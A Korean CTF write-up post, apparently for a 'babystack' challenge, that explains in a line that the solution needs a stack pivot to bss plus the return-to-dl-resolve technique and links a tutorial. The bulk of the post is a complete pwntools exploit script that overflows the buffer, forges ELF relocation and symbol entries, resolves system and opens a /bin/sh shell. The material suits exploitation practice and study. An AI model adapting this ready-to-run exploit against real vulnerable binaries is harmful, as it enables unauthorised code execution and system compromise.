read만 있다. bss로 스택 마이그레이션 시켜서 return_to_dl_resolve로 해결하면 되는데 이 return_to_dl_resolve가 엄청 복잡하다,, : (
01.Return-to-dl-resolve - x86 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Return-to-dl-resolve - x86 Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다. Lazy binding Flow Lazy bin
www.lazenca.net
여기에서 진짜 잘 설명하고 있어서 이거보고 이해하는게 좋다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
s = process("./babystack")
elf = ELF("./babystack")
leave_ret = 0x08048455
pppr = 0x080484e9
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
bss = elf.bss()
gdb.attach(s)
pay = "A"*0x28
pay += p32(elf.bss()+0x2fc)
pay += p32(elf.plt['read'])
pay += p32(leave_ret)
pay += p32(0)
pay += p32(elf.bss()+0x300)
pay += p32(0x500)
s.send(pay)
base_stage = bss + 0x300
addr_fake_reloc = base_stage + 20
addr_fake_sym = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym + 16
addr_fake_cmd = addr_fake_symstr + 7
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF
fake_r_info = fake_r_info | 0x7
fake_st_name = addr_fake_symstr - addr_dynstr
pay = p32(addr_plt)
pay += p32(fake_reloc_offset)
pay += p32(elf.plt['read'])
pay += "B"*4
pay += p32(addr_fake_cmd)
#fake elf32_rel
pay += p32(elf.got['read'])
pay += p32(fake_r_info)
#Fake elf32_sym
pay += p32(fake_st_name)
pay += p32(0)
pay += p32(0)
pay += p32(0)
pay += "system\x00"
pay += "/bin/sh\x00"
s.send(pay)
s.interactive()
|
cs |
[DownUnderCTF] Return to what's revenge (0) | 2020.09.20 |
---|---|
[33C3_2016] Babyfengshui (0) | 2019.12.06 |
[CodeBlue_2017] Secret_mailer_service (0) | 2019.12.02 |
[CodeBlue_2017] simple_memo_pad (0) | 2019.12.01 |
[RCTF_2018] Rnote4 (0) | 2019.11.29 |